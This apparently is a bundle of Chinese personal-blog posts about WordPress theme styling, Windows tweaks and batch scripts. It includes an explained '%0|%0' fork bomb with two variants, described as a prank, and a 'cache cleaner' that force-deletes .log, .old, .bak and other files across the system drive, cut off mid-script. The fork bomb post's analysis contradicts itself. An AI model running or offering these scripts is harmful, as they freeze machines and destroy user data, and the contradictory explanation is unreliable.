cover: "https://image.luming.cool/i/2026/05/10/69fff0bfb9d82.webp"
title: "【WordPress主题美化】你真的会用Puock主题吗?"
pubDate: "2023-10-01T14:04:52.000Z"
updatedDate: "2023-10-01T14:04:52.000Z"
categories:
- "生活"
tags:
- "WordPress"
comments: true
---
<h2>前言</h2>
大家好,我是路明。本期文章,我想和大家聊聊Puock主题的美化方法。
Puock主题是一款基于WordPress开发的高颜值的自适应主题,支持白天与黑夜模式、无刷新加载等功能。本文将尽可能详尽地对Puock主题美化步骤进行介绍。
本文涉及的一切操作均以<a href="https://loneliness.chgskj.cn/" target="_blank" rel="noopener">沙雕笔记</a>为演示,特此感谢网友沙雕搞电脑的贡献!(沙雕笔记,原名Loneliness博客,采用Puock主题,后续变更为了Argon主题。)
<h2>准备工作</h2>
你<strong>需要准备</strong>的有:
<ul>
<li>一个安装了WordPress<strong>6.2.2</strong>及<strong>更新版本</strong>,且能够<strong>正常访问主页和后台</strong>的网站</li>
<li>Puock主题安装包(本站提供下载链接:<a href="https://www.123pan.com/s/Y5Nvjv-1438d.html" target="_blank" rel="noopener" data-type="URL" data-id="http://chuangai-service.chgskj.cn/WPThemes/Puock.zip">123云盘下载</a></li>
<li>一台可以正常使用的<strong>Windows/Linux PC</strong>或<strong>Mac</strong><s>哪怕是<strong>树莓派</strong>都行</s></li>
<li>一颗热爱折腾的心</li>
</ul>
<h2>开始操作</h2>
<h3>登录到网站后台</h3>
在浏览器地址框内输入<code>https://你的网站地址/wp-admin/</code> ,回车进入,输入您的管理员账号和密码,登录即可。
<h3>安装Puock主题包</h3>
登录后台后,在左侧栏菜单中找到“外观”按钮,将鼠标停留在上方,点击悬浮菜单中的“主题”按钮(移动端只需点击外观→主题即可)。在主题页面中点击“安装主题”→“上传主题”,选择下载好的主题包文件,上传并安装即可。
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113112820066696.webp" />
<img class="" src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113113013740077.webp" width="415" height="232" /><img class="" src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113113030077383.webp" width="397" height="161" />
安装可能会花费一些时间,耐心等待即可。直到提示安装完毕后,点击“立即启用”即可启用Puock主题。
启用Puock主题后,我们可以在网站后台左侧栏靠下部分找到“Puock主题配置”选项卡,这是<strong>Puock主题</strong>的控制面板,后续所用到的大多数功能会在此调试。
<h3 id="header-id-5" class="wp-block-heading">菜单栏标题美化</h3>
Puock主题内置了部分<a href="http://fontawesome.p2hp.com/faicons.html" target="_blank" rel="noreferrer noopener" data-type="URL" data-id="http://fontawesome.p2hp.com/faicons.html">Font Awesome</a>图标库,因此我们可以直接在菜单栏中调用该图标库进行美化(如下方代码)。
<pre class="corepress-code-pre"><code>&lt;i class="fa fa-home" aria-hidden="true"&gt;&lt;/i&gt; 首页</code></pre>
进入网站后台→“外观”选项卡→“菜单”选项卡,选择显示在导航栏的菜单(主要菜单),如该博主的博客所示,有许许多多菜单项(如图)
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113113331346431.webp" />
将折叠的菜单项打开,直接修改“导航标签”的内容即可。
您可以根据<a href="http://fontawesome.p2hp.com/faicons.html" target="_blank" rel="noreferrer noopener" data-type="URL" data-id="http://fontawesome.p2hp.com/faicons.html">Font Awesome</a>图标库来自定义您的图标样式,引用方法如下:
<pre class="corepress-code-pre"><code>&lt;i class="fa fa-图标名称" aria-hidden="true"&gt;&lt;/i&gt; 菜单项名称</code></pre>
说得易懂些,<a href="http://fontawesome.p2hp.com/faicons.html" target="_blank" rel="noreferrer noopener" data-type="URL" data-id="http://fontawesome.p2hp.com/faicons.html">Font Awesome</a>图标库在主题中被简称为fa fa,在图标库名和图标名称之间用“-”连接,在此后方直接输入图标名称即可。
如此处举出一些菜单例子。
首页
<pre class="corepress-code-pre"><code>&lt;i class="fa fa-home" aria-hidden="true"&gt;&lt;/i&gt; 首页</code></pre>
隐私政策
<pre class="corepress-code-pre"><code>&lt;i class="fa fa-bookmark" aria-hidden="true"&gt;&lt;/i&gt; 隐私政策</code></pre>
关于博主
<pre class="corepress-code-pre"><code>&lt;i class="fa fa-info-circle" aria-hidden="true"&gt;&lt;/i&gt; 关于博主</code></pre>
美化完成后,您的博客菜单应该就能实现以下效果(如图):
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113113630282994.webp" />
<h3 id="header-id-6" class="wp-block-heading">自定义您的Cravatar头像</h3>
WordPress通常会使用Gravatar中您邮箱账户的头像作为您的头像,但是在中国大陆地区无法访问Gravatar,因此国内志愿者制作了Gravatar的镜像网站——Cravatar,而您可以进入<a href="https://www.cravatar.cn/" target="_blank" rel="noreferrer noopener" data-type="URL" data-id="https://gravatar.cn/">Cravatar官网</a>来修改您的头像。
但是如何更改WordPress的默认头像地址为Cravatar呢?这时就需要一款插件来解决这个难题了——它就是<a href="https://www.lovestu.com/wpopt.html" target="_blank" rel="noopener">WPOPT</a>。
在您的WordPress中安装此插件并启用,并点击位于侧栏底部的“WPOPT”按钮,进入其设置菜单。
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113114101442552.webp" />
如图,在“优化加速”栏目中,点击“gravatar.cn”即可。(此处作者估计是标错了,这个选项实际是通往cravatar.cn的)。
<h3 id="header-id-7" class="wp-block-heading">侧边栏加入Puock自带小组件</h3>
Puock其实自带了一些小组件,如“作者信息”、“搜索框”、“一言一句话”、“热门文章”、“最新文章”、“读者墙”等。
进入网站后台→“外观”选项卡→“小工具”选项卡(如图)即可对不同位置的侧边栏小组件进行添加和管理。
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113114223842623.webp" />
<h4 id="header-id-8" class="wp-block-heading">作者信息</h4>
在一个位置中(如“通用 - 侧边栏”)空白处点击加号,会弹出选择小组件的窗口。点击“浏览全部”按钮,下翻在“小工具”一栏中即可看到“Puock主题 关于博主”小组件,点击它,即可添加到该区域。
接下来可以对博主信息进行一些修改。(如图)
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113114245316806.webp" />
“标题”可修改为其它的,不修改也可以(这个标题不会被显示)。
“博主名字”修改为自己的网名即可,“介绍”可以修改为自己的个人简介或个性签名,也可以输入html代码以插入格式。
邮箱填写为您注册Cravatar头像的邮箱地址。
“顶部背景图url”填写媒体库中一张图片的地址即可,主题默认指定的有图片,也可以不修改。
“图标类”可以直接填写Fafa图标名,可参考如下。
<pre class="corepress-code-pre"><code>fa fa-information</code></pre>
简单修改后效果如下
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113114322767193.webp" />
<h4 id="header-id-9" class="wp-block-heading">其它小组件</h4>
其它诸如“一言一句话”、“搜索框”、“热门文章”、“最新文章”等的小组件,只需要修改图标即可,其它可根据个人喜好进行修改。
<h3 id="header-id-10" class="wp-block-heading">侧边栏加入扩展小组件</h3>
[c-alert type="success"]本栏目部分内容摘录自https://www.zibll.com/forum-post/8927.html,,若侵犯了您的权益请联系博主进行删除![/c-alert]
<h4 id="header-id-11" class="wp-block-heading">简单的小模块</h4>
该方法可以实现一个简单的按钮跳转链接效果,如以下所示。
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113114605756906.webp" />
在“小工具”一栏内的某区域添加“自定义HTML”模块,输入以下代码
<pre class="corepress-code-pre"><code>&lt;a class="ads" href="在此处填写点击按钮后跳转的链接地址" target="XXX" style="border-radius:5px;"&gt;
&lt;h4&gt;欢迎访问XX博客&lt;/h4&gt;
&lt;h5&gt;我是上方文本的宣传语&lt;/h5&gt;
&lt;span class="ads-btn ads-btn-outline"&gt;点我跳转到指定链接&lt;/span&gt;&lt;/a&gt;
&lt;style&gt;
.ads{display:block; padding:40px 15px; text-align:center; color:#fff!important; background:#ff5719; background-image:-webkit-linear-gradient(135deg,#bbafe7,#5368d9); background-image:linear-gradient(135deg,#bbafe7,#5368d9)}.ads h4{margin:0; font-size:22px; font-weight:bold}.ads h5{margin:10px 0 0; font-size:14px; font-weight:bold}.ads.ads-btn{margin-top:20px; font-weight:bold}.ads.ads-btn:hover{color:#ff5719}.ads-btn{display:inline-block; font-weight:normal; margin-top:10px; color:#666; text-align:center; vertical-align:top; user-select:none; border:none; padding:0 36px; line-height:38px; font-size:14px; border-radius:10px; outline:0; -webkit-transition:all 0.3s ease-in-out; -moz-transition:all 0.3s ease-in-out; transition:all 0.3s ease-in-out}.ads-btn:hover,.btn:focus,.btn.focus{outline:0; text-decoration:none}.ads-btn:active,.btn.active{outline:0; box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.ads-btn-outline{line-height:36px; color:#fff; background-color:transparent; border:1px solid#fff}.ads-btn-outline:hover,.btn-outline:focus,.btn-outline.focus{color:#343a3c; background-color:#fff}
&lt;/style&gt;</code></pre>
[c-alert type="warning"]内容仅供参考,具体组件标题和跳转到的地址可自行修改。[/c-alert]
<h4 id="header-id-14" class="wp-block-heading">跑马灯滚动公告栏</h4>
该方法可以实现一个彩色跑马灯滚动公告栏效果,如以下所示。
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240113114707332210.webp" />
在“小工具”一栏内的某区域添加“自定义HTML”模块,输入以下代码
<pre class="corepress-code-pre"><code>&lt;!--跑马灯公告--&gt;
&lt;style&gt;
#nr{font-size:20px; margin: 0; background: -webkit-linear-gradient(left, #ffffff, #ff0000 6.25%, #ff7d00 12.5%, #ffff00 18.75%, #00ff00 25%, #00ffff 31.25%, #0000ff 37.5%, #ff00ff 43.75%, #ffff00 50%, #ff0000 56.25%, #ff7d00 62.5%, #ffff00 68.75%, #00ff00 75%, #00ffff 81.25%, #0000ff 87.5%, #ff00ff 93.75%, #ffff00 100%); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-size: 200% 100%; animation: masked-animation 2s infinite linear;} @keyframes masked-animation{0%{background-position: 0 0;} 100%{background-position: -100%, 0;} }
&lt;/style&gt;
&lt;div style="background-color:#333;border-radius:25px;box-shadow:0px 0px 5px #f200ff;padding:5px;margin-bottom:0px;"&gt;
&lt;marquee&gt;
&lt;b id="nr"&gt;欢迎来到XX博客&lt;/b&gt; &lt;/marquee&gt;
&lt;/div&gt;</code></pre>
[c-alert type="warning"]内容仅供参考,具体公告内容可自行修改。[/c-alert]
<h3 id="header-id-15" class="wp-block-heading">界面简单美化</h3>
[c-alert type="success"]本栏目内容摘录自<a href="https://blognas.hwb0307.com/linux/docker/744" target="_blank" rel="noopener">Bensz</a>及<a href="https://www.zibll.com/forum-post/8927.html" target="_blank" rel="noopener">Zibll社区</a>,若侵犯了您的权益请联系博主进行删除![/c-alert]
<h4 id="header-id-16" class="wp-block-heading">鼠标移动特效-影相随</h4>
依次进入控制台→外观→主题文件编辑器,在右方文件列表中找到“主题页脚(footer.php)”,点击打开,在该文件内容的最后一个&lt;/body&gt;前插入以下代码即可。
<pre class="corepress-code-pre"><code>&lt;!--鼠标样式:两个同心圆,大圆追小圆--&gt;
&lt;style type="text/css"&gt;
#cursor{position:fixed;width:16px;height:16px;background:#009688;border-radius:8px;opacity:0.25;z-index:10086;pointer-events:none;transition:0.2s ease-in-out;transition-property:background,opacity,transform}
#cursor.hidden{opacity:0}
#cursor.hover{opacity:0.1;transform:scale(2.5)}
#cursor.active{opacity:0.5;transform:scale(0.5)}
#clickME{cursor:pointer;display:inline-block;border:1px solid #009688}
&lt;/style&gt;
&lt;script src="https://cdn.jsdelivr.net/gh/huangwb8/bloghelper@latest/js/cursor_01.js"&gt;&lt;/script&gt;
&lt;!--鼠标样式结束--&gt;</code></pre>
修改完毕后,保存主题配置文件即可。
<h4 id="header-id-17" class="wp-block-heading">界面圆角化</h4>
依次进入Puock主题配置→脚本及样式→头部自定义全局CSS样式,在框内输入以下代码
<pre class="corepress-code-pre"><code>.p-block,.widget,.input-group {border-radius: 20px;}
.widget-puock-author .header {
border-top-left-radius: 20px;
border-top-right-radius: 20px;
}
.col-6,.p-0 {border-radius: 20px;}
.abhl {border-radius: 20px;}
.wight{filter: blur(1px);
} </code></pre>
接着,保存配置文件,您的网站就由小圆角风格转变为大圆角风格了。
<h4 id="header-id-18" class="wp-block-heading">头像呼吸光环和鼠标悬停旋转放大</h4>
依次进入Puock主题配置→脚本及样式→头部自定义全局CSS样式,在框内输入以下代码
<pre class="corepress-code-pre"><code>/*头像呼吸光环和鼠标悬停旋转放大开始*/
.avatar{border-radius: 50%; animation: light 4s ease-in-out infinite; transition: 0.5s;}.avatar:hover{transform: scale(1.15) rotate(720deg);}@keyframes light{0%{box-shadow: 0 0 4px #f00;} 25%{box-shadow: 0 0 16px #0f0;} 50%{box-shadow: 0 0 4px #00f;} 75%{box-shadow: 0 0 16px #0f0;} 100%{box-shadow: 0 0 4px #f00;}}
/*头像呼吸光环和鼠标悬停旋转放大结束*/</code></pre>
接着,保存配置文件,若您的侧边栏添加了“作者信息”模块,则您的头像会被添加呼吸光环效果,并且当鼠标悬停时,您的头像会旋转并放大;鼠标移走时,您的头像会反方向旋转并复原。
<h4 id="header-id-19" class="wp-block-heading">底部备案号等信息美化</h4>
依次进入Puock主题配置→脚本及样式→底部页脚信息,在框内输入以下代码
<pre class="corepress-code-pre"><code>&lt;style&gt;
/* 核心样式 */
.github-badge {
display: inline-block;
border-radius: 4px;
text-shadow: none;
font-size: 13.1px;
color: #fff;
line-height: 15px;
margin-bottom: 5px;
font-family: "Open Sans", sans-serif;
}
.github-badge .badge-subject {
display: inline-block;
background-color: #4d4d4d;
padding: 4px 4px 4px 6px;
border-top-left-radius: 4px;
border-bottom-left-radius: 4px;
font-family: "Open Sans", sans-serif;
}
.github-badge .badge-value {
display: inline-block;
padding: 4px 6px 4px 4px;
border-top-right-radius: 4px;
border-bottom-right-radius: 4px;
font-family: "Open Sans", sans-serif;
}
.github-badge-big {
display: inline-block;
border-radius: 6px;
text-shadow: none;
font-size: 14.1px;
color: #fff;
line-height: 18px;
margin-bottom: 7px;
}
.github-badge-big .badge-subject {
display: inline-block;
background-color: #4d4d4d;
padding: 4px 4px 4px 6px;
border-top-left-radius: 4px;
border-bottom-left-radius: 4px;
}
.github-badge-big .badge-value {
display: inline-block;
padding: 4px 6px 4px 4px;
border-top-right-radius: 4px;
border-bottom-right-radius: 4px;
}
.bg-orange {
background-color: #ec8a64 !important;
}
.bg-red {
background-color: #cb7574 !important;
}
.bg-apricots {
background-color: #f7c280 !important;
}
.bg-casein {
background-color: #dfe291 !important;
}
.bg-shallots {
background-color: #97c3c6 !important;
}
.bg-ogling {
background-color: #95c7e0 !important;
}
.bg-haze {
background-color: #9aaec7 !important;
}
.bg-mountain-terrier {
background-color: #99a5cd !important;
}
&lt;/style&gt;
&lt;div class="github-badge-big"&gt;
&lt;span class="badge-subject"&gt;&lt;i class="fa fa-id-card"&gt;&lt;/i&gt; 备案号 &lt;/span&gt;
&lt;span class="badge-value bg-orange"&gt;
&lt;!-- 备案链接 --&gt;
&lt;a href="https://beian.miit.gov.cn/" target="_blank" one-link-mark="yes"&gt;某ICP备1234567890号&lt;/a&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;br&gt;
&lt;div class="github-badge-big"&gt;
&lt;span class="badge-subject"&gt;&lt;i class="fa fa-cloud" aria-hidden="true"&gt;&lt;/i&gt; 技术支持&lt;/span&gt;
&lt;span class="badge-value bg-shallots"&gt;
&lt;!-- 官网 --&gt;
&lt;a href="在此处修改您的官方网站" target="_blank" one-link-mark="yes"&gt;在此处修改您的团队/企业名称&lt;/a&gt;
&lt;/span&gt;
&lt;br&gt;</code></pre>
内容可根据自身情况进行修改。修改完毕后,保存配置文件即可。
<h2>结束语</h2>
本期文章就到这里啦,我是路明,我们下期再见!
+70
View File
@@ -0,0 +1,70 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff0bd9a2bd.webp"
title: "【技术分享】一篇文章教会你优化电脑性能"
pubDate: "2023-12-31T07:14:19.000Z"
updatedDate: "2023-12-31T07:14:19.000Z"
categories:
- "科技"
tags:
- "Windows"
- "优化"
comments: true
---
<h2>前言</h2>
大家好,我是路明。这篇文章,我们来聊聊Windows电脑提升运行效率的方法。
<h2>情景引入</h2>
小A是一名在校大学生,一日,他在实体店购买了一台4核心8线程、8GB内存的笔记本电脑。
他在实体店体验展示机的时候,发现展示机充分展示出了其卓越的性能,但是当他把实体机带回家后,发现卡得和老爷机一样,和自己在实体店体验过的机子完全不是一个样子。
他开始在网上下载各种硬件配置检测工具,试图揭开这家“黑心商家”的虚伪面具,但奇怪的是,经过小A的苦苦检测,依然没有发现任何只因脚,这台电脑的配置和售出时标出的配置一模一样,丝毫没有作假的痕迹。
小A很苦恼,认为自己真是个foolish
<h2>计算机为什么会在使用过程中逐渐卡顿?</h2>
计算机在使用过程中会逐渐变卡顿,这属于正常现象。常见的造成此结果的原因有以下几个:
<ul>
<li>长期未清理系统缓存</li>
<li>回收站文件长期堆积不清空</li>
<li>长期未清理软件缓存</li>
</ul>
当然,以上原因是指已使用很长时间的计算机,对于新购买的计算机,造成此结果的原因有:
<ul>
<li>机器本身性能过弱</li>
<li>机器对CPU核心数进行了限制</li>
<li>机器操作系统未进行正确的设置</li>
</ul>
接下来,小编将针对这些问题给出一系列对应解决方案。
<h2>解决方案</h2>
<h3>改变对CPU核心数的设定</h3>
首先,在电脑正常运行时,同时按下Windows徽标键(简称为“Win键”)+字母R键(简称为“R键”),调出运行窗口
<img class="alignnone" src="https://luming-website.chgskj.cn/luming-notes/2023/12/20231231080850537488.webp" width="349" height="204" />
接着,输入“msconfig”并回车,启动系统配置工具。继续,来到“引导”选项卡,点击“高级选项”,即可看到引导高级选项。
<img class="" src="https://luming-website.chgskj.cn/luming-notes/2023/12/20231231081054988439.webp" width="374" height="277" /><img class="" src="https://luming-website.chgskj.cn/luming-notes/2023/12/20231231081344878833.webp" width="317" height="355" />
在此处,可以看到处理器个数及最大内存被限制了,我们只需将两选项都更改为最大值即可。
但是,上述这种情况出现的概率微乎其微,可能不会帮到大家太多,所以我们看下一种方法。
<h3>开启卓越性能模式</h3>
懂计算机的小伙伴应该都知道,在电脑的控制面板→电源选项内,有着不同种类的电源选项。有平衡、省电、高性能模式。但是,对于追求性能的小伙伴,这些模式肯定是不能满足自己的。其实,在Windows中还有一种“卓越性能”模式,可以最大化发挥电脑的硬件性能。接下来我们就来打开它。
首先,以管理员身份运行命令提示符(“cmd.exe”)
<img src="https://luming-website.chgskj.cn/luming-notes/2023/12/20231231081857484440.webp" />
输入以下代码,并按下回车:
<pre class="corepress-code-pre"><code>powercfg -duplicatescheme e9a42b02-d5df-448d-aa00-03f14749eb61</code></pre>
不出意外的话,命令提示符会返回以下信息:
<pre class="corepress-code-pre"><code>电源方案 GUID: acc1363e-5110-42cd-b5f3-bf00950ef8c7 (卓越性能)</code></pre>
出现这段文字,就代表卓越性能被激活成功。
还没完,接着打开控制面板,进入电源选项,这时就可以看到“卓越性能”模式啦~
直接点击启用它,就可以享受电脑的卓越性能了。
<img src="https://luming-website.chgskj.cn/luming-notes/2023/12/20231231082138541843.webp" />
<h2>小结</h2>
本期文章主要介绍了优化电脑运行性能的各种方法。这期文章就到这里了,我是路明,我们下期再见。
+26
View File
@@ -0,0 +1,26 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff03814310.webp"
title: "路明笔记祝大家元旦快乐!"
pubDate: "2023-12-31T23:29:58.000Z"
updatedDate: "2023-12-31T23:29:58.000Z"
categories:
- "生活"
tags:
comments: true
---
大家好,我是路明。
今天是2024年1月1日,同时,这篇文章是本站新年的第一篇文章!
在这里,站长对各位读者以及全国人民说一声:元旦快乐!Happy New Year's Day
同时,站长给大家拜年了!祝大家:新年快乐!
2023年,我们砥砺前行,经历了风雨洗礼,看到了美丽风景,取得了沉甸甸的收获。
这一点的步伐,我们走得很有力量。
这一年的步伐,我们走得很见神采。
这一年的步伐,我们走得很显底气。
中国不仅发展自己,也积极走入世界,担当大国责任。
和平发展始终是主旋律,合作共赢始终是硬道理。
今年是新中国成立75周年,让我们一起祝愿祖国繁荣昌盛,世界稳定安宁!
+42
View File
@@ -0,0 +1,42 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff0bea8e2d.webp"
title: "【软件分享】峄校智表 5.1 KB1024更新日志"
pubDate: "2023-12-29T13:00:32.000Z"
updatedDate: "2023-12-29T13:00:32.000Z"
categories:
- "科技"
tags:
- "峄校智表"
- "易语言"
- "电子课程表"
- "软件"
comments: true
---
2023 年 12 月 24 日,“峄校智表” 项目进行了 KB1024 的更新进程。
本次更新内容如下:
<ul>
<li>增加了 “免密码登录” 功能。</li>
</ul>
<figure class="wp-block-image">
<div class="fancybox-wrapper" data-fancybox="post-images"><img class="lazyload lazyload-style-2 lazyload-loaded" src="https://vip.123pan.cn/1817865694/CDNforBlog/2023-12-24/wmmdl.png" alt="" data-original="https://vip.123pan.cn/1817865694/CDNforBlog/2023-12-24/wmmdl.png" /></div></figure>
用户可在设置窗口中选择开启 “无密码登录” 功能,开启该功能后,每当用户点击托盘菜单中的 “编辑课程表” 按钮后,不会弹出密码输入窗口,而是直接进入了设置窗口。
该功能不会和原有的设置窗口自动防护功能(即在未输入密码的状况下,设置窗口无法被编辑和操作)产生冲突,因此可放心使用。
<ul>
<li>优化算法,小幅提升课程表启动速度。</li>
</ul>
此次版本对于原有的启动时的杂余代码删除,使课程表启动速度更快,效率更高。
<ul>
<li>修复了开机自启动设定失败的 bug。</li>
</ul>
在之前的版本中,设置窗口的 “开机自动启动” 选项并不起效,而在本版本进行了有效修复。
<ul>
<li>增加了 “跳过更新” 功能。</li>
</ul>
<div class="wp-block-image">
<figure class="aligncenter size-large">
<div class="fancybox-wrapper" data-fancybox="post-images"><img class="lazyload lazyload-style-2 lazyload-loaded" src="https://vip.123pan.cn/1817865694/CDNforBlog/2023-12-24/update.png" alt="" data-original="https://vip.123pan.cn/1817865694/CDNforBlog/2023-12-24/update.png" /></div></figure>
</div>
在检测到新版本后用户可以选择跳过该版本的更新,使程序操作逻辑更加人性化。
+73
View File
@@ -0,0 +1,73 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff0be27412.webp"
title: "【技术分享】趣谈批处理文件%0|%0"
pubDate: "2023-12-30T04:14:55.000Z"
updatedDate: "2023-12-30T04:14:55.000Z"
categories:
- "科技"
tags:
comments: true
---
<h2>前言</h2>
大家好,我是路明。这期文章我想和大家浅谈一下 在Windows下,批处理文件中%0|%0命令的意义。
<h2>%0|%0运行的效果</h2>
提起%0|%0运行后的效果,相比懂点电脑的小伙伴都会或多或少地在网络上发现过诸如“只有5个字符就能卡爆你的电脑!快拿来整蛊你的朋友!”之类的文章,那么它的效果可想而知了:
[zd-plane title="虚拟场景"]你双击点开了内容为%0|%0的批处理文件
此时此刻,电脑弹出了一个窗口,不断地显示该批处理文件所处的目录
你打开了任务管理器,发现电脑的CPU和内存占用率直线飙升
你发现你的鼠标移动开始卡顿,那个批处理文件的运行窗口开始无响应
你发现批处理文件的窗口上显示了一些你看不懂的文字(类似于^C之类的)
你发现你的电脑完全无法操作了
你发现电脑卡在了某一界面,再也无法移动[/zd-plane]
那么要解决这种办法,也很简单。
[zd-plane title="解决方法"]1.趁着电脑还没有彻底卡死,按Win+R,运行“taskkill /f /im cmd.exe”
2.趁着电脑还没有卡死,注销电脑[/zd-plane]
如果上述方法都没有解决的话,那就只能关机喽§(* ̄▽ ̄*)§
<h2>原理</h2>
好了,不小心扯了那么多,接下来和大家分享一下这个批处理文件的原理。
首先,%0   在批处理文件中代表<span style="color: #ff0000;"><strong>批处理文件本身</strong></span>,即如果运行%0,命令行会再次运行这个批处理文件。
其次,|       在批处理文件中代表<strong><span style="color: #ff0000;">如果否</span></strong>,即如果执行该符号前的命令失败后,会执行该符号后的命令。
那么组合起来,%0|%0就代表以下意思
<strong>执行这个批处理文件本身,如果执行失败,那么依然执行这个批处理文件本身。</strong>
可以把整个过程理解为图形化编程中的<span style="color: #ff0000;"><strong>永远循环</strong></span>,即永远执行这个批处理文件本身,永不停止。
<h2>同理程序分享</h2>
在Windows命令行(cmd)中,有一些代码可以同样实现类似于%0|%0的效果。
<h3>程序1</h3>
<pre class="corepress-code-pre"><code>start cmd
%0</code></pre>
分析:根据代码可直观地看到,第一行代码中“start”是“启动”的意思,“cmd”即Windows中的命令行主程序(cmd.exe)。“%0”则为前文中提到的,重复再执行一遍该批处理文件。
当批处理文件再次执行自身的时候,依然会再次运行自身,达成无限循环的效果。
不过,该方法的效果直观可见,运行后,屏幕上会<strong><span style="color: #ff0000;">快速出现一堆命令行窗口</span></strong>,同样会造成卡慢,死机的效果,当然也是可以通过前文提到的解决方法来解决的。
<h3>程序2</h3>
<pre class="corepress-code-pre"><code>:start
start cmd
goto start</code></pre>
分析:
<code></code>
<ol>
<li><code>:start</code> - 这是一个标签。在批处理脚本中,标签通常用于标识某一部分的代码,以便于使用<code>goto</code>命令跳转到该标签。</li>
<li><code>start cmd</code> - 这行命令尝试启动一个新的命令提示符窗口。但是,实际上这里有一个小错误。<code>start</code>是一个命令,后面应该直接跟参数(这里是<code>cmd</code>),而不是应该有空格。正确的写法应该是<code>start cmd</code>。</li>
<li><code>goto start</code> - 这是一个跳转命令。它会将脚本的控制权跳转到名为“start”的标签处,从而形成一个无限循环。这意味着一旦脚本开始执行,它会不断地启动新的命令提示符窗口,直到用户手动停止脚本的执行。<code></code></li>
</ol>
<h2>结束语</h2>
本期文章的分享就到这里了,我是路明,我们下期文章再见!
+38
View File
@@ -0,0 +1,38 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff0bd17683.webp"
title: "【WordPress美化】为您的网站引用Font Awesome图标库"
pubDate: "2024-01-14T00:18:04.000Z"
updatedDate: "2024-01-14T00:18:04.000Z"
categories:
- "生活"
tags:
- "WordPress"
comments: true
---
<h2>前言</h2>
大家好,我是路明。这篇文章,我们来聊聊如何给自己的博客引用FontAwesome图标库。
<h2>用途</h2>
图标库是用来装饰博客元素的一种渠道,而FontAwesome图标库则是一款比较成熟的图标库,拥有的图标数量很多,能够满足绝大部分用户的需求。
要在WordPress博客中引用FontAwesome图标库,前提条件是您的WordPress主题内置了图标库,否则引用图标库是无效的。常见的具有FontAwesome图表库的主题有:Argon、CorePress(标准版)、Puock等。
大家可以看一下这两幅图对比一下效果:
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240114000540967554.webp" />
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240114001007849069.webp" />
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240114001246210644.webp" />
可以非常直观地发现,加入图标后的菜单项显得更加灵动且自然,使访客可以更直观地理解菜单项的内容。那么如何引用图标库呢?
<h2>引用</h2>
使用<code>&lt;i class="fa fa-图标名称" aria-hidden="true"&gt;&lt;/i&gt;</code> 即可引用。例如我要引用<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240114001857355129.webp" />这个图标,则需要输入<code>&lt;i class="fa fa-home" aria-hidden="true"&gt;&lt;/i&gt;</code> 这段代码。
<img src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240114001951163460.webp" />
若要在博客的菜单项内引用图标库,只需要在项目标题前加入对应的图标代码即可。
要快速地查阅FontAwesome图标内容,可前往<a href="https://fontawesome.p2hp.com/" target="_blank" rel="noopener">FontAwesome中文网</a>查询并自行添加。
<h2>结束语</h2>
本期文章就到这里啦,我是路明,我们下期再见!
+79
View File
@@ -0,0 +1,79 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff0bc870b3.webp"
title: "【代码分享】缓存太多卡到爆?一招教你解决~"
pubDate: "2024-01-20T09:36:45.000Z"
updatedDate: "2024-01-20T09:36:45.000Z"
categories:
- "科技"
tags:
- "Windows"
- "优化"
comments: true
---
<h3>前言</h3>
众所不周知,蓝屏工作室在2022年11月开发出了蓝屏工具箱的第一个版本。其中很多功能都是在凑数,但是里面有个“清理系统缓存”脚本是工作室成员共同研发出来的,并且效果十分优秀。今天在翻文件的时候无意间发现了,就拿出来给大家分享一下。
<h3>代码</h3>
<pre class="corepress-code-pre"><code>@echo off
echo ■■■■■■■创峄信息科技■■■■■■■
echo ■■本脚本由创峄信息科技提供技术支持■■
echo ■■■定期清理系统垃圾,电脑更流畅■■■
echo ■■■■■■清理服务即将开始■■■■■■
echo ■■■■■■■创峄信息科技■■■■■■■
echo ■■■■■■正在清理缓存目录■■■■■■
color 1a
del /f /s /q %temp%\*.*
echo ■■■■■■正在清理*.tmp缓存文件■■■■■■
color 2b
del /f /s /q %systemdrive%\*.tmp
@echo ■■■■■■正在清理*._mp缓存文件■■■■■■
color 3c
del /f /s /q %systemdrive%\*._mp
echo ■■■■■■正在清理*.log缓存文件■■■■■■
color 4d
del /f /s /q %systemdrive%\*.log
echo ■■■■■■正在清理*.gid缓存文件■■■■■■
color 5e
del /f /s /q %systemdrive%\*.gid
echo ■■■■■■正在清理*.chk缓存文件■■■■■■
color 1a
del /f /s /q %systemdrive%\*.chk
echo ■■■■■■正在清理*.old缓存文件■■■■■■
color 2b
del /f /s /q %systemdrive%\*.old
echo ■■■■■■正在清理无用驱动文件■■■■■■
color 3c
del /f /s /q %systemdrive%\recycled\*.*
echo ■■■■■■正在清理*.bak文件■■■■■■
color 4d
del /f /s /q %windir%\*.bak
echo ■■■■■■正在清理垃圾文件■■■■■■
color 5e
del /f /s /q %windir%\prefetch\*.*
echo ■■■■■■正在清理临时目录■■■■■■
color 1a
rd /s /q %windir%\temp &amp; md %windir%\temp
echo ■■■■■■正在清理Cookies■■■■■■
color 2b
del /f /q %userprofile%\cookies\*.*
echo ■■■■■■正在清理用户临时文件■■■■■■
color 3c
del /f /q %userprofile%\recent\*.*
echo ■■■■■■正在清理网络垃圾文件■■■■■■
color 4d
